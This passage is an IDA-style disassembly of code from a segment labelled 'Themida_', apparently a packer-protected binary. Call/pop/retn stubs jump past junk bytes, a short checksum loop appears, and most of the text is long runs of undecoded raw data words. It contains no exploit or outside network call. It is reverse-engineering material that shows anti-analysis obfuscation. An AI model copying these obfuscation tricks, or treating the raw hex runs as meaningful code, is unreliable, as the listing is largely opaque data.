mov ebx, edx
push 0FFFFFFFFh
push 0
push esi
call sub_58FC2B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FC2B proc near ; CODE XREF: Themida_:0058FC23p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_58FC2B endp
; ---------------------------------------------------------------------------
mov ds:77C54B2Eh, dh
mov ds:91B5FF92h, eax
db 2Eh
adc al, 6
push 0
push edi
call sub_58FC54
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FC54 proc near ; CODE XREF: Themida_:0058FC4Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_58FC54 endp
; ---------------------------------------------------------------------------
dd 66138B04h, 0FFFAE8BBh, 142B1995h, 15BE906h, 89560000h
dd 14322D9Dh, 0B05B06h, 0F499D23h, 70E60614h, 5AE1EF81h
dd 9589650Bh, 6140229h, 0BD2971E4h, 6141C89h, 830F613Ch
dd 12Dh, 2A018589h, 0B60F0614h, 959D8BC8h, 0E906140Bh
dd 0Dh, 0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 6BA1Dh, 840F0000h
dd 6, 0AA1C781h, 810F48A1h, 6, 79C5CF81h, 0C18B1CA8h, 0E804E8C1h
dd 10h, 0B561EE85h, 0ED4F1F2Fh, 77F89B82h, 58E5BEDCh, 4890Fh
dd 0BF660000h, 665FB862h, 7E9E2F7h, 0B2000000h, 45BD8207h
dd 0C82B1D87h, 2BCB8166h, 8BD18BF3h, 1424919Dh, 0FE906h
dd 0AE90000h, 5B000000h, 8682862Ch, 5C8CAC88h, 0D5858B73h
dd 83061408h, 0D38107C0h, 1EF20635h, 0E900C083h, 0Fh, 7795D43Fh
dd 0B6F09F73h, 0D2C29D5Ch, 3B03294Bh, 2D830FD0h, 31000000h
dd 140B1185h, 0BB666006h, 0CE9B7A7h, 96000000h, 1376664Dh
dd 23A279CBh, 61F55E99h, 48E9h, 19D8900h, 0BB061421h, 6C884E68h
dd 5318D8Bh, 0A0B30614h, 0F01E183h, 2C84h, 0A583FC00h
dd 6140531h, 8E9FEh, 0B4B80000h, 134DC579h, 9589AAC8h
dd 61408D5h, 23E1B589h, 9D8B0614h, 6142429h, 0E9h, 98B58D00h
dd 6A0617E4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 0FAD2C356h, 67FB1CBCh, 0AE8h
dd 0BA7BF00h, 80EA18C7h, 0FCADD61Fh, 8B006A5Fh, 142C71BDh
dd 0F8BF0F06h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0B2D189C3h, 2CB9F224h
dd 6A000008h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0AED9C355h, 0FE8B6656h, 60FCE183h
dd 3810Fh, 8B660000h, 9D0961D9h, 6142C21h, 56006AFCh, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0AF94DAB6h, 0E9F275F5h, 0Fh, 3312889Ch, 88F68F53h, 0E2820ABCh
dd 0B83D5F85h, 0
; ---------------------------------------------------------------------------
sub [ebp+6143069h], edx
mov edx, 0
add bh, 49h
loc_58FEBE: ; CODE XREF: Themida_:0058FEC8j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_58FEBE
push 0
push ecx
call sub_58FED5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FED5 proc near ; CODE XREF: Themida_:0058FECDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_58FED5 endp
; ---------------------------------------------------------------------------
push 0F3A2395h
add dword ptr [edx], 51000000h
pop ebx
jmp loc_58FEFB
; ---------------------------------------------------------------------------
dw 4A54h
db 0A2h, 0D6h, 0CAh
; ---------------------------------------------------------------------------
loc_58FEFB: ; CODE XREF: Themida_:0058FEF1j
or eax, 88h
xor ebx, 4826A39Dh
mov edx, [ebp+6143229h]
push 0
push eax
call sub_58FF17
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FF17 proc near ; CODE XREF: Themida_:0058FF0Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58FF17 endp
; ---------------------------------------------------------------------------
db 73h
dd 5CB6F09Fh, 4D8D8B9Dh, 6A061406h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 99B9C351h
dd 0A5DE2B64h, 0E91F3710h, 5, 0D2F9981Ah, 0C28B50D0h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 1F20C350h
dd 8D89F1B6h, 6140789h, 29ADBD83h, 0F000614h, 6C84h, 0C5B58900h
dd 3061404h, 142C19BDh, 0B806h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 82B6FEC3h
dd 0D6DEEAD6h, 8B523D1Eh, 1408E9BDh, 8D8D5F06h, 6144D79h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 88C35141h
dd 0A436C9B9h, 29E1FFE1h, 142675BDh, 71BD8306h, 61426h
dd 386840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0C8811CC3h, 8B669AF8h, 71BD83DEh
dd 1061426h, 371840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0E042A1C3h, 0E1436F5Ah
dd 11E9A042h, 34000000h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh
dd 0FD5ADEC6h, 2671BD83h, 0F030614h, 2F486h, 0C1858900h
dd 60061400h, 9EE38166h, 0D3816609h, 8C66DB90h, 0CB8166D9h
dd 8C0FAF6Fh, 8, 2D9D8952h, 5B061411h, 6A04E180h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 54C8C357h, 2431BD8Bh, 810F0614h, 3, 0A02DF80h, 0ED840FC9h
dd 8B000000h, 1425CDBDh, 69858B06h, 6A061419h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 99D5C356h, 33DF8B66h, 141B8185h, 5026B706h, 0E91DB260h
dd 0Ah, 0A765F78h, 0CEB40704h, 8961B157h, 0BD8B2404h, 6141D59h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 9D8B22C3h, 61403C5h, 21958951h, 5B06142Ch
dd 4064E168h, 0D6BF66ACh, 2404814Ah, 53DE9F1Eh, 8A0FFCh
dd 0FF000000h, 1409AD95h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 6698BF70h
dd 7255CF81h, 0AA988589h, 7BE90617h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 13B0C350h, 0D25875Dh, 0FC8AF9DAh, 0AA90858Bh, 6A0617h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 7A5BCBC3h, 1800C7DCh, 66000000h, 276BDF81h, 0AA94B58Bh
dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 79D19EC3h, 0B5894378h, 614036Dh, 0B29858Bh
dd 0BF0F0614h, 890689DFh, 1400FDB5h, 69858B06h, 6A061419h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 7E48C350h, 664C6742h, 8953A7D7h, 96F90446h
dd 0F26ABF66h, 0D0B35250h, 6A965Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 2190F6C3h
dd 0FF050D5Eh, 17AA90B5h, 0ED958906h, 6806140Eh, 2A6E06D5h
dd 34815B57h, 71052A24h, 0D5BD8B2Ah, 8D06142Bh, 17AA9885h
dd 93D78106h, 9071D14Dh, 0F98B6650h, 50006A90h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FFBA84E5h
dd 1409AD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 4EB7E234h, 0E9C66141h, 12h, 0E67B9B63h
dd 9C41238Ah, 0B32535B9h, 7C74E5A2h, 0FC613AEEh, 0EF65D9BBh
dd 7185C745h, 3061426h, 89000000h, 140325BDh, 98BD8306h
dd 617AAh, 2F840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0D98A53C3h, 27E9h, 7EC78100h
dd 8927C856h, 1406E59Dh, 0C305006h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 77C35747h, 369E634Ah, 0E781F1D3h, 2DC358F1h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 15C35242h
dd 0D4162A5Ch, 9604BB32h, 142D8D89h, 0BD830614h, 6142671h
dd 0F8850F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 10EC357h, 1425F5B5h
dd 83C5B706h, 17AA98BDh, 840F0006h, 3C7h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 42C35747h, 0CB21276Ch
dd 0F9D9627h, 2B84h, 0CE800h, 0A29E0000h, 55822F22h, 734AF6Dh
dd 14E9BBE4h, 0EF000000h, 5885250Fh, 204E7B3h, 70CBFC3Eh
dd 9F232810h, 5FBD0E60h, 0AA98B5FFh, 9D0B0617h, 6140C19h
dd 11E8h, 0DC85E100h, 92CF424h, 771C18B9h, 930E5EF0h, 8B6694D1h
dd 95FF5FFBh, 6142AF5h, 800195BFh, 8CB58B4Ch, 290617AAh
dd 1429918Dh, 106C706h, 66000100h, 50D755BBh, 0E9525050h
dd 11h, 72C27DF0h, 0FC6D90h, 0D0A1282Eh, 0BC7121CDh, 8A310F5Dh
dd 5B585ADEh, 0F9243489h, 0AA98B5FFh, 6A0617h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FF2661C3h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4ABF12FCh
dd 0AA8CB58Bh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0E47CCAC3h, 95E868DEh, 858BB9B7h
dd 61421D5h, 0F98B6651h, 0C486895Fh, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 3923C353h, 12E9F1h, 3D9B0000h, 90929612h, 2BB304Dh
dd 0C05789Bh, 161AAE15h, 3229958Bh, 0E8F90614h, 10h, 0D8B31B91h
dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 5FFFB70Fh, 6A04C283h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 70FAC356h, 89E42269h, 858D2050h, 617BE06h
dd 23498D89h, 86890614h, 0B8h, 31FBB70Fh, 1419F18Dh, 6A006A06h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0C362C353h, 19719D8Bh, 0B5FF0614h, 617AA98h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h
dd 86F894FDh, 800FDCC6h, 2, 95FFDA8Bh, 6140939h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 10C35747h, 5E96049h
dd 0C000000h, 423245E6h, 2A619D89h, 0B7610614h, 0D88B962Eh
dd 963EB350h, 0DEAE0EBBh, 98B5FF52h, 660617AAh, 630E381h
dd 20F595FFh, 83FC0614h, 140C21BDh, 840F0006h, 49h, 718D8B60h
dd 8B06140Fh, 14091585h, 0E8966106h, 0Dh, 977ABC58h, 5B7821A2h
dd 67D38CD1h, 0D05CBBB7h, 505B1A51h, 0CE860h
dd 0DD40000h, 0B1DDE93h, 0CEB65265h, 0BB66B2C1h, 0B4582395h
dd 899661C4h, 141C4D95h, 98B5FF06h, 8B0617AAh, 1405A5BDh
dd 0B195FF06h, 1061402h, 14347D95h, 98B5FF06h, 890617AAh
dd 1422318Dh, 8195FF06h, 89061430h, 140E6185h, 0F5BD8306h
dd 2061409h, 7B840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 3519BAC3h, 9D73BF85h
dd 858B752Ch, 6142D01h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0F4C35646h, 0CCD418C1h, 1D9D8BEFh, 0F061421h
dd 58Dh, 9024BB00h, 0C64C2Ah, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4D85C746h
dd 61424h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 69D6C350h, 0F7E7EC18h, 9D8BB222h
dd 6142E99h, 0E9D88B66h, 0FFFFF3E6h, 30858589h, 0C18B0614h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 40C35747h
; ---------------------------------------------------------------------------
loc_59085C: ; DATA XREF: Themida_:0054A550o
mov ebx, 2F677CDAh
lea eax, [ebp+6140F99h]
push 0
push esi
call sub_590872
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590872 proc near ; CODE XREF: Themida_:0059086Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_590872 endp
; ---------------------------------------------------------------------------
dw 55A5h
dd 81659836h, 9D8B3F77h, 61406A1h, 0C212BB90h, 8B50328Dh
dd 0D88B90D9h, 6498501h, 6A0614h, 249B589h, 6A0614h, 225D8D89h
dd 858D0614h, 6187E81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0E1C35545h, 0EC0C2698h, 0E9FA4C1Bh, 14h
dd 3E57D5F5h, 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h
dd 6A05C083h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 7BF8C352h, 2377456Dh, 8A8D6ADCh
dd 24759D8Bh, 95890614h, 6142F5Dh, 0F525050h, 6C6CBB31h
dd 585A4E36h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 514BC352h, 81006AD2h
dd 0CDBF5DEFh, 6A006A01h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 210CC352h, 0B5316042h
dd 6141D55h, 1A7195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 44A5CAC3h, 8D5526E3h
dd 17A8FC8Dh, 0FF70B706h, 57006AD1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0BA646298h
dd 7DA318C6h, 0C7816F43h, 1251418Bh, 12CDBD83h, 0F010614h
dd 7385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0AE4B8D3h, 75D5F781h, 0B5895436h
dd 6140835h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0DDE4D1C3h, 0EE305AB3h, 119BBB66h
dd 509029CFh, 0DE9h, 55430300h, 14984F24h, 31F11A9Bh, 0FF902404h
dd 14093995h, 0F98B6606h, 0DD9E9h, 0E800h, 815D0000h, 187E8BEDh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0A7160F0Ah, 6E91AE8h, 90000000h, 81207C2h
dd 74DB81E9h, 8D2360ECh, 17962385h, 25BD8B06h, 90061416h
dd 504CBB66h, 0D85EBF50h, 6A903C6Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B96BC357h
dd 4C1F769Ah, 0D9D233Eh, 6406140Bh, 35FFh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 48A7B6C3h, 868D2E1Fh, 25896441h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_590B1F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590B1F proc near ; CODE XREF: Themida_:00590B17p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_590B1F endp
; ---------------------------------------------------------------------------
db 0C9h
dd 44DF7865h, 563153DDh, 0E102D4BFh, 6D85FF2Bh, 89061423h
dd 141B51BDh, 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 52B8C355h, 5BA5ABEBh
dd 1141BD0Bh, 0B5FF0614h, 61406A5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0FAC35040h, 1995FFD9h, 0E906142Bh
dd 117h, 1109BD33h, 0B00614h, 10E9h, 0AA48EC00h, 933E2379h
dd 6E764B01h, 9652051Eh, 8B70E6D2h, 142529BDh, 8971E406h
dd 14039985h, 0F613C06h, 0E283h, 98C0F00h, 0F000000h, 38Fh
dd 0FEBF0F00h, 0FC8B60Fh, 287h, 0BAFB8B00h, 6, 8B5AB3F8h
dd 0C1FE8AC1h, 0F76604E8h, 0D9D8BE2h, 2B06140Ah, 0B59D8BC8h
dd 8B061406h, 9DBD31D1h, 0E906140Fh, 0Ah, 61E4B560h, 2B6D9D29h
dd 858B0614h, 6142A29h, 16F59D8Bh, 0C0830614h, 0D950107h
dd 8306140Fh, 8D8900C0h, 614033Dh, 830FD03Bh, 0Ch, 65E9F5h
dd 0BD290000h, 6142F0Dh, 1AC98D8Bh, 8B660614h, 0BD8B60FAh
dd 6140CA5h, 15B678BBh, 0E1836120h, 40840F01h, 8B000000h
dd 0C9A583FAh, 0FE06141Ah, 99B58B60h, 0F061425h, 282h
dd 61FE8B00h, 2A299589h, 8B0F0614h, 6, 0A0D9D8Bh, 0BE90614h
dd 10000000h, 68A1506Eh, 7BCE50B5h, 0E9AC6Bh, 8D000000h
dd 17EE94B5h, 1BC7BF06h, 6A5B87h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 60C35343h, 405A6366h, 0BB27CEC4h
dd 53E21416h, 30F99589h, 95FF0614h, 6141169h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 77C35747h, 20AEFBC5h
dd 86646E9Ch, 96FB98Ah, 81660000h, 83BB86C3h, 6AFCE1h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 91DC40C3h, 802570E6h, 9529BCC0h, 6141A95h, 0FCDEBF0Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 63C35242h
dd 0FE418F1h, 38Ch, 0D98B6600h, 30799D89h, 0C02B0614h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5EC35040h
dd 8CE6A55Ch, 0FFF68CFEh, 2B69BD89h, 0D22B0614h, 1A25BD89h
dd 33AD0614h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E98EC3h
dd 0AD000000h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DAC35747h
dd 57DB0771h, 6066CF34h, 79BD0B4Fh, 66061430h, 33C8E781h
dd 880Dh, 958BF900h, 6143229h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0C1C35040h, 0E8FA8B15h, 0Fh
dd 0FFF91F09h, 65361803h, 9932B29Fh, 8116B9EFh, 17B2B1D7h
dd 8D8B5B5Dh, 614064Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 42C35747h, 89F4B7A8h, 140781B5h, 0C28B5006h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8B61C357h, 1403359Dh, 0BD83FC06h, 61429ADh, 6C840F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B820C356h, 1EDE222Bh, 9D3353B5h
dd 6140A49h, 0A71FBF5Bh, 0B802FEh, 8D000000h, 144D798Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 0BD8B89BCh, 6143209h, 8E9E1FFh, 0C000000h
dd 3CE1B55Bh, 83C22FE2h, 142671BDh, 840F0006h, 439h, 0BD9BD8Bh
dd 6DBF0614h, 83298F1Fh, 142671BDh, 840F0106h, 43Ch, 83D8B70Fh
dd 142671BDh, 860F0306h, 3F6h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 9BC35141h, 0B23A56A3h, 0DE9DFh
dd 0EF840000h, 0B716DFBAh, 2FFF222h, 60FB2137h, 2A619D8Bh
dd 0F3810614h, 331F529Bh, 6AD98C66h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E8DC350h
dd 6E880h, 14FC0000h, 0E044842Fh, 5A0CBF66h, 93C7805Bh
dd 6604E180h, 0ABFE9BBh, 64840FC9h, 66000001h, 858BFA8Bh
dd 6141969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0A9C35141h, 6DB9A40Eh, 81985A8Bh, 0D4E195D7h, 0DBD8B6Dh
dd 3306142Ah, 141B8185h, 9D8B5006h, 61421BDh, 6650905Bh
dd 6A90D88Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 9FC2C355h, 50527A09h, 2C419D8Bh
dd 895F0614h, 140055BDh, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F25C357h
dd 38Bh, 0E8CF8000h, 0D113F768h, 0EE99Ah, 0ACED0000h, 15DCA483h
dd 6BEF5BFEh, 0BE9585A0h, 8240481h, 6A654DF0h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 0FB80C355h, 494FBBDBh, 0F0F7CA3h, 68Ah, 64D38100h, 8965FBF2h
dd 1431A995h, 459D8906h, 0FF061408h, 1409AD95h, 81BD8B06h
dd 89061405h, 17AA9885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 58D0F37h, 66000000h, 0E1AECB81h
dd 194E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 2B6499B9h, 8010A5DEh, 816622D7h
dd 8BE0ADD7h, 17AA9085h, 0DB816606h, 0C72C38h, 18h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 19C35646h, 7B27D6C9h
dd 880F4392h, 6, 8259589h, 8BF50614h, 17AA94B5h, 0F7816606h
dd 858BFACAh, 6140B29h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 5FC35040h, 0FBBCE79Bh, 9DBD8BC7h, 8906141Ch
dd 0EB816606h, 858B819Ah, 6141969h, 89044689h, 14042D9Dh
dd 840F9606h, 0
; ---------------------------------------------------------------------------
push eax
jns loc_591207
ja loc_591207
push ebx
pop ebx
loc_591207: ; CODE XREF: Themida_:005911F9j
; Themida_:005911FFj
xchg eax, esi
mov [ebp+61434BDh], ebx
push dword ptr [ebp+617AA90h]
sub edi, 5F90C2F2h
push 0F6F55032h
mov di, 83C1h
add dword ptr [esp], 929B3CDh
adc di, 0F381h
lea eax, [ebp+617AA98h]
push 0
push ebp
call sub_591240
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_591240 proc near ; CODE XREF: Themida_:00591238p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_591240 endp
; ---------------------------------------------------------------------------
dd 0C15ACAE6h, 2582DF06h, 14B1B531h, 0E8500614h, 10h, 8139130Ch
dd 523E80C3h, 97AE0821h, 0F5D0F9B6h, 7E9h, 0B2B82100h
dd 0FC9B0645h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0EDC35646h, 3830F2Eh, 66000000h, 95FFD98Bh
dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 52C35747h, 0BD896190h, 61412EDh, 0C5EA12BFh, 7185C746h
dd 3061426h, 0BF000000h, 2411652Fh, 6860Fh, 9D030000h
dd 614319Dh, 0AA98BD83h, 0F000617h, 7184h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 8276C749h, 9E93C16h, 8000000h, 0E8D260Bh, 0F74A5380h
dd 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 394F2B03h, 0DE7BF305h, 14E9F5h, 0AF010000h
dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3050EA16h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 0A18D89C0h, 0E8061423h, 9, 0F2E33005h, 2F1D9AD6h, 14E937h
dd 0FF150000h, 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0AE4CAF35h
dd 605BFDB3h, 12D1958Bh, 83610614h, 142671BDh, 850F0306h
dd 402h, 37DBB66h, 0AA98BD83h, 0F000617h, 3F184h, 0C18B6000h
dd 0C299501h, 0FF610614h, 17AA98B5h, 2D9D8B06h, 0FF061408h
dd 142AF595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 172F7D17h, 9D8951F0h, 6140EA1h, 8CB58B5Fh
dd 6A0617AAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0CBA9C356h, 0D20702AFh, 0CD8589DEh
dd 0C7061408h, 1000106h, 0B1BD8900h, 50061409h, 9E9h, 477A0C00h
dd 896E7BE3h, 34892FF5h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0E7971527h, 1D9D8B38h
dd 0FF061415h, 17AA98B5h, 1D9D8B06h, 0FF061432h, 140B3195h
dd 58C0F06h, 66000000h, 0A00BE381h, 0AA8CB58Bh, 6A0617h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 880F7DC3h, 6, 9F19D33h, 858B0614h, 61421D5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D8C35545h, 730CBB7Ah
dd 898BB702h, 140A7D95h, 0C4868906h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 576AC357h, 0F56502Dh, 958BF8B7h, 6143229h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2FC35646h, 68286FF9h
dd 835AB782h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 14E67DC3h, 85225059h, 0D88B929Fh
dd 7E9h, 4F049200h, 0A307C978h, 6A205089h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5FF9C357h
dd 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h, 3880FF5h
dd 0F000000h, 858DDAB7h, 617BE06h, 1BDBD33h, 86890614h
dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0B7C35242h, 6AA5D88Eh, 0AAD96CBCh, 153DB501h, 6A0614h
dd 0F2DB589h, 0B5FF0614h, 617AA98h, 3995FFF5h, 6A061409h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 2C42C350h, 0A8F3E4BFh, 50F88B96h, 10E8h
dd 5BE0C900h, 7101F939h, 7FF3C99Ch, 828E018Ch, 0DE83Eh
dd 72290000h, 9AA588C5h, 1B95900Ah, 57B72977h, 965F5B5Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E1C35343h
dd 18439874h, 0B8E0F76h, 0E9000000h, 6, 8C09B948h, 0B5FF9DEBh
dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
